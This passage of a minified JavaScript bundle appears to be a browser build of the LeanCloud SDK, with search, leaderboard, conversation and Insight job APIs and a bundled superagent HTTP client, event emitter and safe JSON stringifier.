o[e]=i,r._geo_distance=o,this._sortFields.push(r),this},build:function(){return(0,i.default)(e._encode(this._sortFields))}}),e.SearchQuery=e.Query._extend({_sid:null,_hits:0,_queryString:null,_highlights:null,_sortBuilder:null,_createRequest:function(e,t){return s("search/select",null,null,"GET",e||this._getParams(),t)},sid:function(e){return this._sid=e,this},queryString:function(e){return this._queryString=e,this},highlights:function(e){var t;return t=e&&o.isString(e)?arguments:e,this._highlights=t,this},sortBy:function(e){return this._sortBuilder=e,this},hits:function(){return this._hits||(this._hits=0),this._hits},_processResult:function(e){return delete e.className,delete e._app_url,delete e._deeplink,e},hasMore:function(){return!this._hitEnd},reset:function(){this._hitEnd=!1,this._sid=null,this._hits=0},find:function(){var e=this;return this._createRequest().then(function(t){return t.sid?(e._oldSid=e._sid,e._sid=t.sid):(e._sid=null,e._hitEnd=!0),e._hits=t.hits||0,o.map(t.results,function(n){n.className&&(t.className=n.className);var r=e._newObject(t);return r.appURL=n._app_url,r._finishFetch(e._processResult(n),!0),r})})},_getParams:function(){var t=e.SearchQuery.__super__._getParams.call(this);if(delete t.where,this.className&&(t.clazz=this.className),this._sid&&(t.sid=this._sid),!this._queryString)throw new Error("Please set query string.");if(t.q=this._queryString,this._highlights&&(t.highlights=this._highlights.join(",")),this._sortBuilder&&t.order)throw new Error("sort and order can not be set at same time.");return this._sortBuilder&&(t.sort=this._sortBuilder.build()),t}})}},function(e,t,n){"use strict";var r=n(2),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(16),a=n(5),u=a.request;e.exports=function(e){e.Insight=e.Insight||{},o.extend(e.Insight,{startJob:function(t,n){if(!t||!t.sql)throw new Error("Please provide the sql to run the job.");var r={jobConfig:t,appId:e.applicationId};return u({path:"/bigquery/jobs",method:"POST",data:e._encode(r,null,!0),authOptions:n,signKey:!1}).then(function(t){return e._decode(t).id})},on:function(e,t){}}),e.Insight.JobQuery=function(e,t){if(!e)throw new Error("Please provide the job id.");this.id=e,this.className=t,this._skip=0,this._limit=100},o.extend(e.Insight.JobQuery.prototype,{skip:function(e){return this._skip=e,this},limit:function(e){return this._limit=e,this},find:function(e){var t={skip:this._skip,limit:this._limit};return u({path:"/bigquery/jobs/"+this.id,method:"GET",query:t,authOptions:e,signKey:!1}).then(function(e){return e.error?i.default.reject(new s(e.code,e.error)):i.default.resolve(e)})}})}},function(e,t,n){"use strict";var r=n(9),i=function(e){return e&&e.__esModule?e:{default:e}}(r),o=n(0),s=n(5),a=s._request,u=n(18),c=function(e){return"string"==typeof e?e:"function"==typeof e.getPayload?(0,i.default)(e.getPayload()):(0,i.default)(e)};e.exports=u.Object.extend("_Conversation",{constructor:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};u.Object.prototype.constructor.call(this,null,null),this.set("name",e),void 0!==t.isSystem&&this.set("sys",!!t.isSystem),void 0!==t.isTransient&&this.set("tr",!!t.isTransient)},getCreator:function(){return this.get("c")},getLastMessageAt:function(){return this.get("lm")},getMembers:function(){return this.get("m")},addMember:function(e){return this.add("m",e)},getMutedMembers:function(){return this.get("mu")},getName:function(){return this.get("name")},isTransient:function(){return this.get("tr")},isSystem:function(){return this.get("sys")},send:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i={from_peer:e,conv_id:this.id,transient:!1,message:c(t)};return void 0!==n.toClients&&(i.to_peers=n.toClients),void 0!==n.transient&&(i.transient=!!n.transient),void 0!==n.pushData&&(i.push_data=n.pushData),a("rtm","messages",null,"POST",i,r)},broadcast:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i={from_peer:e,conv_id:this.id,message:c(t)};if(void 0!==n.pushData&&(i.push=n.pushData),void 0!==n.validTill){var s=n.validTill;o.isDate(s)&&(s=s.getTime()),n.valid_till=s}return a("rtm","broadcast",null,"POST",i,r)}})},function(e,t,n){"use strict";function r(e){var t=e.name,n=e.value,r=e.version;this.name=t,this.value=n,this.version=r}var i=n(2),o=function(e){return e&&e.__esModule?e:{default:e}}(i),s=n(0),a=n(5),u=a.request,c=n(6),l=c.ensureArray,f=c.parseDate,h=n(18);h.LeaderboardVersionChangeInterval={NEVER:"never",DAY:"day",WEEK:"week",MONTH:"month"},h.LeaderboardOrder={ASCENDING:"ascending",DESCENDING:"descending"},h.LeaderboardUpdateStrategy={BETTER:"better",LAST:"last",SUM:"sum"};var d=function(e){var t=h._decode(e);return new r({name:t.statisticName,value:t.statisticValue,version:t.version})};h.Leaderboard=function(e){this.statisticName=e,this.order=void 0,this.updateStrategy=void 0,this.versionChangeInterval=void 0,this.version=void 0,this.nextResetAt=void 0,this.createdAt=void 0};var p=h.Leaderboard;h.Leaderboard.createWithoutData=function(e){return new p(e)},h.Leaderboard.createLeaderboard=function(e,t){var n=e.statisticName,r=e.order,i=e.versionChangeInterval,o=e.updateStrategy;return u({method:"POST",path:"/leaderboard/leaderboards",data:{statisticName:n,order:r,versionChangeInterval:i,updateStrategy:o},authOptions:t}).then(function(e){return new p(n)._finishFetch(e)})},h.Leaderboard.getLeaderboard=function(e,t){return p.createWithoutData(e).fetch(t)},h.Leaderboard.getStatistics=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.statisticNames,r=arguments[2];return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");return u({method:"GET",path:"/leaderboard/users/"+e.id+"/statistics",query:{statistics:n?l(n).join(","):void 0},authOptions:r}).then(function(e){return e.results.map(d)})})},h.Leaderboard.updateStatistics=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");var r=s.map(t,function(e,t){return{statisticName:t,statisticValue:e}}),i=n.overwrite;return u({method:"POST",path:"/leaderboard/users/"+e.id+"/statistics",query:{overwrite:i?1:void 0},data:r,authOptions:n}).then(function(e){return e.results.map(d)})})},h.Leaderboard.deleteStatistics=function(e,t,n){return o.default.resolve().then(function(){if(!e||!e.id)throw new Error("user must be an AV.User");return u({method:"DELETE",path:"/leaderboard/users/"+e.id+"/statistics",query:{statistics:l(t).join(",")},authOptions:n}).then(function(){})})},s.extend(p.prototype,{_finishFetch:function(e){var t=this;return s.forEach(e,function(e,n){"updatedAt"!==n&&"objectId"!==n&&("expiredAt"===n&&(n="nextResetAt"),"createdAt"===n&&(e=f(e)),e&&"Date"===e.__type&&(e=f(e.iso)),t[n]=e)}),this},fetch:function(e){var t=this;return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName,authOptions:e}).then(function(e){return t._finishFetch(e)})},count:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.version,n=arguments[1];return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/ranks",query:{count:1,limit:0,version:t},authOptions:n}).then(function(e){return e.count})},_getResults:function(e,t,n){var r=e.skip,i=e.limit,o=e.selectUserKeys,a=e.includeUserKeys,c=e.includeStatistics,f=e.version;return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/ranks"+(n?"/"+n:""),query:{skip:r,limit:i,selectUserKeys:s.union(l(o),l(a)).join(",")||void 0,includeUser:a?l(a).join(","):void 0,includeStatistics:c?l(c).join(","):void 0,version:f},authOptions:t}).then(function(e){return e.results.map(function(e){var t=h._decode(e),n=t.user,r=t.statisticValue,i=t.rank,o=t.statistics;return{user:n,value:r,rank:i,includedStatistics:(void 0===o?[]:o).map(d)}})})},getResults:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.skip,n=e.limit,r=e.selectUserKeys,i=e.includeUserKeys,o=e.includeStatistics,s=e.version,a=arguments[1];return this._getResults({skip:t,limit:n,selectUserKeys:r,includeUserKeys:i,includeStatistics:o,version:s},a)},getResultsAroundUser:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments[2];if(e&&"string"!=typeof e.id)return this.getResultsAroundUser(void 0,e,t);var r=t.limit,i=t.selectUserKeys,o=t.includeUserKeys,s=t.includeStatistics,a=t.version;return this._getResults({limit:r,selectUserKeys:i,includeUserKeys:o,includeStatistics:s,version:a},n,e?e.id:"self")},_update:function(e,t){var n=this;return u({method:"PUT",path:"/leaderboard/leaderboards/"+this.statisticName,data:e,authOptions:t}).then(function(e){return n._finishFetch(e)})},updateVersionChangeInterval:function(e,t){return this._update({versionChangeInterval:e},t)},updateUpdateStrategy:function(e,t){return this._update({updateStrategy:e},t)},reset:function(e){var t=this;return u({method:"PUT",path:"/leaderboard/leaderboards/"+this.statisticName+"/incrementVersion",authOptions:e}).then(function(e){return t._finishFetch(e)})},destroy:function(e){return h.request({method:"DELETE",path:"/leaderboard/leaderboards/"+this.statisticName,authOptions:e}).then(function(){})},getArchives:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.skip,r=t.limit,i=arguments[1];return u({method:"GET",path:"/leaderboard/leaderboards/"+this.statisticName+"/archives",query:{skip:n,limit:r},authOptions:i}).then(function(t){return t.results.map(function(t){var n=t.version,r=t.status,i=t.url,o=t.activatedAt,s=t.deactivatedAt;return{statisticName:e.statisticName,version:n,status:r,url:i,activatedAt:f(o.iso),deactivatedAt:f(s.iso)}})})}})},function(e,t,n){"use strict";var r=n(166);e.exports=function(e){return e.setAdapters(r),e}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(167);t.request=r.request,t.upload=r.upload,t.storage=window.localStorage,t.WebSocket=window.WebSocket,t.platformInfo={name:"Browser"}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(168);t.request=function(e,t){void 0===t&&(t={});var n=t.method,i=void 0===n?"GET":n,o=t.data,s=t.headers,a=t.onprogress,u=r(i,e);return s&&u.set(s),a&&u.on("progress",a),u.send(o).catch(function(e){if(e.response)return e.response;throw e}).then(function(e){return{status:e.status,ok:e.ok,headers:e.header,data:e.body}})},t.upload=function(e,t,n){void 0===n&&(n={});var i=n.data,o=n.headers,s=n.onprogress,a=r("POST",e).attach(t.field,t.data,t.name);return i&&a.field(i),o&&a.set(o),s&&a.on("progress",s),a.catch(function(e){if(e.response)return e.response;throw e}).then(function(e){return{status:e.status,ok:e.ok,headers:e.header,data:e.body}})}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return(i="function"==typeof b.default&&"symbol"===(0,_.default)(g.default)?function(e){return void 0===e?"undefined":(0,_.default)(e)}:function(e){return e&&"function"==typeof b.default&&e.constructor===b.default&&e!==b.default.prototype?"symbol":void 0===e?"undefined":(0,_.default)(e)})(e)}function o(){}function s(e){if(!k(e))return e;var t=[];for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&a(t,n,e[n]);return t.join("&")}function a(e,t,n){if(void 0!==n){if(null===n)return void e.push(encodeURI(t));if(Array.isArray(n))n.forEach(function(n){a(e,t,n)});else if(k(n))for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&a(e,"".concat(t,"[").concat(r,"]"),n[r]);else e.push(encodeURI(t)+"="+encodeURIComponent(n))}}function u(e){for(var t,n,r={},i=e.split("&"),o=0,s=i.length;o<s;++o)t=i[o],n=t.indexOf("="),-1===n?r[decodeURIComponent(t)]="":r[decodeURIComponent(t.slice(0,n))]=decodeURIComponent(t.slice(n+1));return r}function c(e){for(var t,n,r,i,o=e.split(/\r?\n/),s={},a=0,u=o.length;a<u;++a)n=o[a],-1!==(t=n.indexOf(":"))&&(r=n.slice(0,t).toLowerCase(),i=C(n.slice(t+1)),s[r]=i);return s}function l(e){return/[\/+]json($|[^-\w])/.test(e)}function f(e){this.req=e,this.xhr=this.req.xhr,this.text="HEAD"!==this.req.method&&(""===this.xhr.responseType||"text"===this.xhr.responseType)||void 0===this.xhr.responseType?this.xhr.responseText:null,this.statusText=this.req.xhr.statusText;var t=this.xhr.status;1223===t&&(t=204),this._setStatusProperties(t),this.headers=c(this.xhr.getAllResponseHeaders()),this.header=this.headers,this.header["content-type"]=this.xhr.getResponseHeader("content-type"),this._setHeaderProperties(this.header),null===this.text&&e._responseType?this.body=this.xhr.response:this.body="HEAD"===this.req.method?null:this._parseBody(this.text?this.text:this.xhr.response)}function h(e,t){var n=this;this._query=this._query||[],this.method=e,this.url=t,this.header={},this._header={},this.on("end",function(){var e=null,t=null;try{t=new f(n)}catch(t){return e=new Error("Parser is unable to parse the response"),e.parse=!0,e.original=t,n.xhr?(e.rawResponse=void 0===n.xhr.responseType?n.xhr.responseText:n.xhr.response,e.status=n.xhr.status?n.xhr.status:null,e.statusCode=e.status):(e.rawResponse=null,e.status=null),n.callback(e)}n.emit("response",t);var r;try{n._isResponseOK(t)||(r=new Error(t.statusText||t.text||"Unsuccessful HTTP response"))}catch(e){r=e}r?(r.original=e,r.response=t,r.status=t.status,n.callback(r,t)):n.callback(null,t)})}function d(e,t,n){var r=E("DELETE",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r}var p,v=n(34),g=r(v),m=n(28),_=r(m),y=n(35),b=r(y);"undefined"!=typeof window?p=window:"undefined"==typeof self?(console.warn("Using browser-only version of superagent in non-browser environment"),p=void 0):p=self;var w=n(169),x=n(170),A=n(171),k=n(80),O=n(172),S=n(174);e.exports=function(e,n){return"function"==typeof n?new t.Request("GET",e).end(n):1===arguments.length?new t.Request("GET",e):new t.Request(e,n)},t=e.exports;var E=t;t.Request=h,E.getXHR=function(){if(p.XMLHttpRequest&&(!p.location||"file:"!==p.location.protocol||!p.ActiveXObject))return new XMLHttpRequest;try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}throw new Error("Browser-only version of superagent could not find XHR")};var C="".trim?function(e){return e.trim()}:function(e){return e.replace(/(^\s*|\s*$)/g,"")};E.serializeObject=s,E.parseString=u,E.types={html:"text/html",json:"application/json",xml:"text/xml",urlencoded:"application/x-www-form-urlencoded",form:"application/x-www-form-urlencoded","form-data":"application/x-www-form-urlencoded"},E.serialize={"application/x-www-form-urlencoded":s,"application/json":x},E.parse={"application/x-www-form-urlencoded":u,"application/json":JSON.parse},O(f.prototype),f.prototype._parseBody=function(e){var t=E.parse[this.type];return this.req._parser?this.req._parser(this,e):(!t&&l(this.type)&&(t=E.parse["application/json"]),t&&e&&(e.length>0||e instanceof Object)?t(e):null)},f.prototype.toError=function(){var e=this.req,t=e.method,n=e.url,r="cannot ".concat(t," ").concat(n," (").concat(this.status,")"),i=new Error(r);return i.status=this.status,i.method=t,i.url=n,i},E.Response=f,w(h.prototype),A(h.prototype),h.prototype.type=function(e){return this.set("Content-Type",E.types[e]||e),this},h.prototype.accept=function(e){return this.set("Accept",E.types[e]||e),this},h.prototype.auth=function(e,t,n){1===arguments.length&&(t=""),"object"===i(t)&&null!==t&&(n=t,t=""),n||(n={type:"function"==typeof btoa?"basic":"auto"});var r=function(e){if("function"==typeof btoa)return btoa(e);throw new Error("Cannot use basic auth, btoa is not a function")};return this._auth(e,t,n,r)},h.prototype.query=function(e){return"string"!=typeof e&&(e=s(e)),e&&this._query.push(e),this},h.prototype.attach=function(e,t,n){if(t){if(this._data)throw new Error("superagent can't mix .send() and .attach()");this._getFormData().append(e,t,n||t.name)}return this},h.prototype._getFormData=function(){return this._formData||(this._formData=new p.FormData),this._formData},h.prototype.callback=function(e,t){if(this._shouldRetry(e,t))return this._retry();var n=this._callback;this.clearTimeout(),e&&(this._maxRetries&&(e.retries=this._retries-1),this.emit("error",e)),n(e,t)},h.prototype.crossDomainError=function(){var e=new Error("Request has been terminated\nPossible causes: the network is offline, Origin is not allowed by Access-Control-Allow-Origin, the page is being unloaded, etc.");e.crossDomain=!0,e.status=this.status,e.method=this.method,e.url=this.url,this.callback(e)},h.prototype.agent=function(){return console.warn("This is not supported in browser version of superagent"),this},h.prototype.ca=h.prototype.agent,h.prototype.buffer=h.prototype.ca,h.prototype.write=function(){throw new Error("Streaming is not supported in browser version of superagent")},h.prototype.pipe=h.prototype.write,h.prototype._isHost=function(e){return e&&"object"===i(e)&&!Array.isArray(e)&&"[object Object]"!==Object.prototype.toString.call(e)},h.prototype.end=function(e){this._endCalled&&console.warn("Warning: .end() was called twice. This is not supported in superagent"),this._endCalled=!0,this._callback=e||o,this._finalizeQueryString(),this._end()},h.prototype._setUploadTimeout=function(){var e=this;this._uploadTimeout&&!this._uploadTimeoutTimer&&(this._uploadTimeoutTimer=setTimeout(function(){e._timeoutError("Upload timeout of ",e._uploadTimeout,"ETIMEDOUT")},this._uploadTimeout))},h.prototype._end=function(){if(this._aborted)return this.callback(new Error("The request has been aborted even before .end() was called"));var e=this;this.xhr=E.getXHR();var t=this.xhr,n=this._formData||this._data;this._setTimeouts(),t.onreadystatechange=function(){var n=t.readyState;if(n>=2&&e._responseTimeoutTimer&&clearTimeout(e._responseTimeoutTimer),4===n){var r;try{r=t.status}catch(e){r=0}if(!r){if(e.timedout||e._aborted)return;return e.crossDomainError()}e.emit("end")}};var r=function(t,n){n.total>0&&(n.percent=n.loaded/n.total*100,100===n.percent&&clearTimeout(e._uploadTimeoutTimer)),n.direction=t,e.emit("progress",n)};if(this.hasListeners("progress"))try{t.addEventListener("progress",r.bind(null,"download")),t.upload&&t.upload.addEventListener("progress",r.bind(null,"upload"))}catch(e){}t.upload&&this._setUploadTimeout();try{this.username&&this.password?t.open(this.method,this.url,!0,this.username,this.password):t.open(this.method,this.url,!0)}catch(e){return this.callback(e)}if(this._withCredentials&&(t.withCredentials=!0),!this._formData&&"GET"!==this.method&&"HEAD"!==this.method&&"string"!=typeof n&&!this._isHost(n)){var i=this._header["content-type"],o=this._serializer||E.serialize[i?i.split(";")[0]:""];!o&&l(i)&&(o=E.serialize["application/json"]),o&&(n=o(n))}for(var s in this.header)null!==this.header[s]&&Object.prototype.hasOwnProperty.call(this.header,s)&&t.setRequestHeader(s,this.header[s]);this._responseType&&(t.responseType=this._responseType),this.emit("request",this),t.send(void 0===n?null:n)},E.agent=function(){return new S},["GET","POST","OPTIONS","PATCH","PUT","DELETE"].forEach(function(e){S.prototype[e.toLowerCase()]=function(t,n){var r=new E.Request(e,t);return this._setDefaults(r),n&&r.end(n),r}}),S.prototype.del=S.prototype.delete,E.get=function(e,t,n){var r=E("GET",e);return"function"==typeof t&&(n=t,t=null),t&&r.query(t),n&&r.end(n),r},E.head=function(e,t,n){var r=E("HEAD",e);return"function"==typeof t&&(n=t,t=null),t&&r.query(t),n&&r.end(n),r},E.options=function(e,t,n){var r=E("OPTIONS",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.del=d,E.delete=d,E.patch=function(e,t,n){var r=E("PATCH",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.post=function(e,t,n){var r=E("POST",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r},E.put=function(e,t,n){var r=E("PUT",e);return"function"==typeof t&&(n=t,t=null),t&&r.send(t),n&&r.end(n),r}},function(e,t,n){function r(e){if(e)return i(e)}function i(e){for(var t in r.prototype)e[t]=r.prototype[t];return e}e.exports=r,r.prototype.on=r.prototype.addEventListener=function(e,t){return this._callbacks=this._callbacks||{},(this._callbacks["$"+e]=this._callbacks["$"+e]||[]).push(t),this},r.prototype.once=function(e,t){function n(){this.off(e,n),t.apply(this,arguments)}return n.fn=t,this.on(e,n),this},r.prototype.off=r.prototype.removeListener=r.prototype.removeAllListeners=r.prototype.removeEventListener=function(e,t){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var n=this._callbacks["$"+e];if(!n)return this;if(1==arguments.length)return delete this._callbacks["$"+e],this;for(var r,i=0;i<n.length;i++)if((r=n[i])===t||r.fn===t){n.splice(i,1);break}return 0===n.length&&delete this._callbacks["$"+e],this},r.prototype.emit=function(e){this._callbacks=this._callbacks||{};for(var t=new Array(arguments.length-1),n=this._callbacks["$"+e],r=1;r<arguments.length;r++)t[r-1]=arguments[r];if(n){n=n.slice(0);for(var r=0,i=n.length;r<i;++r)n[r].apply(this,t)}return this},r.prototype.listeners=function(e){return this._callbacks=this._callbacks||{},this._callbacks["$"+e]||[]},r.prototype.hasListeners=function(e){return!!this.listeners(e).length}},function(e,t){function n(e,t,n){r(e,"",[],void 0);var i;for(i=0===c.length?JSON.stringify(e,t,n):JSON.stringify(e,a(t),n);0!==u.length;){var o=u.pop();4===o.length?Object.defineProperty(o[0],o[1],o[3]):o[0][o[1]]=o[2]}return i}function r(e,t,n,i){var o;if("object"==typeof e&&null!==e){for(o=0;o<n.length;o++)if(n[o]===e){var s=Object.getOwnPropertyDescriptor(i,t);return void(void 0!==s.get?s.configurable?(Object.defineProperty(i,t,{value:"[Circular]"}),u.push([i,t,e,s])):c.push([e,t]):(i[t]="[Circular]",u.push([i,t,e])))}if(n.push(e),Array.isArray(e))for(o=0;o<e.length;o++)r(e[o],o,n,e);else{var a=Object.keys(e);for(o=0;o<a.length;o++){var l=a[o];r(e[l],l,n,e)}}n.pop()}}function i(e,t){return e<t?-1:e>t?1:0}function o(e,t,n){var r,i=s(e,"",[],void 0)||e;for(r=0===c.length?JSON.stringify(i,t,n):JSON.stringify(i,a(t),n);0!==u.length;){var o=u.pop();4===o.length?Object.defineProperty(o[0],o[1],o[3]):o[0][o[1]]=o[2]}return r}function s(e,t,n,r){var o;if("object"==typeof e&&null!==e){for(o=0;o<n.length;o++)if(n[o]===e){var a=Object.getOwnPropertyDescriptor(r,t);return void(void 0!==a.get?a.configurable?(Object.defineProperty(r,t,{value:"[Circular]"}),u.push([r,t,e,a])):c.push([e,t]):(r[t]="[Circular]",u.push([r,t,e])))}if("function"==typeof e.toJSON)return;if(n.push(e),Array.isArray(e))for(o=0;o<e.length;o++)s(e[o],o,n,e);else{var l={},f=Object.keys(e).sort(i);for(o=0;o<f.length;o++){var h=f[o];s(e[h],h,n,e),l[h]=e[h]}if(void 0===r)return l;u.push([r,t,e]),r[t]=l}n.pop()}}function a(e){return e=void 0!==e?e:function(e,t){return t},function(t,n){if(c.length>0)for(var r=0;r<c.length;r++){var i=c[r];if(i[1]===t&&i[0]===n){n="[Circular]",c.splice(r,1);break}}return e.call(this,t,n)}}e.exports=n,n.default=n,n.stable=o,n.stableStringify=o;var u=[],c=[]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){return(i="function"==typeof p.default&&"symbol"===(0,h.default)(l.default)?function(e){return void 0===e?"undefined":(0,h.default)(e)}:function(e){return e&&"function"==typeof p.default&&e.constructor===p.default&&e!==p.default.prototype?"symbol":void 0===e?"undefined":(0,h.default)(e)})(e)}function o(e){if(e)return s(e)}function s(e){for(var t in o.prototype)Object.prototype.hasOwnProperty.call(o.prototype,t)&&(e[t]=o.prototype[t]);return e}var a=n(2),u=r(a),c=n(34),l=r(c),f=n(28),h=r(f),d=n(35),p=r(d),v=n(80);e.exports=o,o.prototype.clearTimeout=function(){return clearTimeout(this._timer),clearTimeout(this._responseTimeoutTimer),clearTimeout(this._uploadTimeoutTimer),delete this._timer,delete this._responseTimeoutTimer,delete this._uploadTimeoutTimer,this},o.prototype.parse=function(e){return this._parser=e,this},o.prototype.responseType=function(e){return this._responseType=e,this},o.prototype.serialize=function(e){return this._serializer=e,this},o.prototype.timeout=function(e){if(!e||"object"!==i(e))return this._timeout=e,this._responseTimeout=0,this._uploadTimeout=0,this;for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t))switch(t){case"deadline":this._timeout=e.deadline;break;case"response":this._responseTimeout=e.response;break;case"upload":this._uploadTimeout=e.upload;break;default:console.warn("Unknown timeout option",t)}return this},o.prototype.retry=function(e,t){return 0!==arguments.length&&!0!==e||(e=1),e<=0&&(e=0),this._maxRetries=e,this._retries=0,this._retryCallback=t,this};var g=["ECONNRESET","ETIMEDOUT","EADDRINFO","ESOCKETTIMEDOUT"];o.prototype._shouldRetry=function(e,t){if(!this._maxRetries||this._retries++>=this._maxRetries)return!1;if(this._retryCallback)try{var n=this._retryCallback(e,t);if(!0===n)return!0;if(!1===n)return!1}catch(e){console.error(e)}if(t&&t.status&&t.status>=500&&501!==t.status)return!0;if(e){if(e.code&&g.includes(e.code))return!0;if(e.timeout&&"ECONNABORTED"===e.code)return!0;if(e.crossDomain)return!0}return!1},o.prototype._retry=function(){return this.clearTimeout(),this.req&&(this.req=null,this.req=this.request()),this._aborted=!1,this.timedout=!1,this.timedoutError=null,this._end()},o.prototype.then=function(e,t){var n=this;if(!this._fullfilledPromise){var r=this;this._endCalled&&console.warn("Warning: superagent request was sent twice, because both .end() and .then() were called. Never call .end() if you use promises"),this._fullfilledPromise=new u.default(function(e,t){r.on("abort",function(){if(n.timedout&&n.timedoutError)return void t(n.timedoutError);var e=new Error("Aborted");e.code="ABORTED",e.status=n.status,e.method=n.method,e.url=n.url,t(e)}),r.end(function(n,r){n?t(n):e(r)})})}return this._fullfilledPromise.then(e,t)},o.prototype.catch=function(e){return this.then(void 0,e)},o.prototype.use=function(e){return e(this),this},o.prototype.ok=function(e){if("function"!=typeof e)throw new Error("Callback required");return this._okCallback=e,this},o.prototype._isResponseOK=function(e){return!!e&&(this._okCallback?this._okCallback(e):e.status>=200&&e.status<300)},o.prototype.get=function(e){return this._header[e.toLowerCase()]},o.prototype.getHeader=o.prototype.get,o.prototype.set=function(e,t){if(v(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&this.set(n,e[n]);return this}return this._header[e.toLowerCase()]=t,this.header[e]=t,this},o.prototype.unset=function(e){return delete this._header[e.toLowerCase()],delete this.header[e],this},o.prototype.field=function(e,t){if(null===e||void 0===e)throw new Error(".field(name, val) name can not be empty");if(this._data)throw new Error(".field() can't be used if .send() is used. Please use only .send() or only .field() & .attach()");if(v(e)){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&this.field(n,e[n]);return this}if(Array.isArray(t)){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&this.field(e,t[r]);return this}if(null===t||void 0===t)throw new Error(".field(name, val) val can not be empty");return"boolean"==typeof t&&(t=String(t)),this._getFormData().append(e,t),this},o.prototype.abort=function(){return this._aborted?this:(this._aborted=!0,this.xhr&&this.xhr.abort(),this.req&&this.req.abort(),this.clearTimeout(),this.emit("abort"),this)},o.prototype._auth=function(e,t,n,r){switch(n.type){case"basic":this.set("Authorization","Basic ".concat(r("".concat(e,":").concat(t))));break;case"auto":this.username=e,this.password=t;break;case"bearer":this.set("Authorization","Bearer ".concat(e))}return this},o.prototype.withCredentials=function(e){return void 0===e&&(e=!0),this._withCredentials=e,this},o.prototype.redirects=function(e){return this._maxRedirects=e,this},o.prototype.maxResponseSize=function(e){if("number"!=typeof e)throw new TypeError("Invalid argument");return this._maxResponseSize=e,this},o.prototype.toJSON=function(){return{method:this.method,url:this.url,data:this._data,headers:this._header}},o.prototype.send=function(e){var t=v(e),n=this._header["content-type"];if(this._formData)throw new Error(".send() can't be used if .attach() or .field() is used. Please use only .send() or only .field() & .attach()");if(t&&!this._data)Array.isArray(e)?this._data=[]:this._isHost(e)||(this._data={});else if(e&&this._data&&this._isHost(this._data))throw new Error("Can't merge these send calls");if(t&&v(this._data))for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(this._data[r]=e[r]);else"string"==typeof e?(n||this.type("form"),n=this._header["content-type"],this._data="application/x-www-form-urlencoded"===n?this._data?"".concat(this._data,"&").concat(e):e:(this._data||"")+e):this._data=e;return!t||this._isHost(e)?this:(n||this.type("json"),this)},o.prototype.sortQuery=function(e){return this._sort=void 0===e||e,this},o.prototype._finalizeQueryString=function(){var e=this._query.join("&");if(e&&(this.url+=(this.url.includes("?")?"&":"?")+e),this._query.length=0,this._sort){var t=this.url.indexOf("?");if(t>=0){var n=this.url.slice(t+1).split("&");"function"==typeof this._sort?n.sort(this._sort):n.sort(),this.url=this.url.slice(0,t)+"?"+n.join("&")}}},o.prototype._appendQueryString=function(){console.warn("Unsupported")},o.prototype._timeoutError=function(e,t,n){if(!this._aborted){var r=new Error("".concat(e+t,"ms exceeded"));r.timeout=t,r.code="ECONNABORTED",r.errno=n,this.timedout=!0,this.timedoutError=r,this.abort(),this.callback(r)}},o.prototype._setTimeouts=function(){var e=this;this._timeout&&!this._timer&&(this._timer=setTimeout(function(){e._timeoutError("Timeout of ",e._timeout,"ETIME")},this._timeout)),this._responseTimeout&&!this._responseTimeoutTimer&&(this._responseTimeoutTimer=setTimeout(function(){e._timeoutError("Response timeout of ",e._responseTimeout,"ETIMEDOUT")},this._responseTimeout))}},function(e,t,n){"use strict";function r(e){if(e)return i(e)}function i(e){for(var t in r.prototype)Object.prototype.hasOwnProperty.call(r.prototype,t)&&(e[t]=r.prototype[t]);return e}var o=n(173);e.exports=r,r.prototype.get=function(e){return this.header[e.toLowerCase()]},r.prototype._setHeaderProperties=function(e){var t=e["content-type"]||"";this.type=o.type(t);var n=o.params(t);for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(this[r]=n[r]);this.links={};try{e.link&&(this.links=o.parseLinks(e.link))}catch(e){}},r.prototype._setStatusProperties=function(e){var 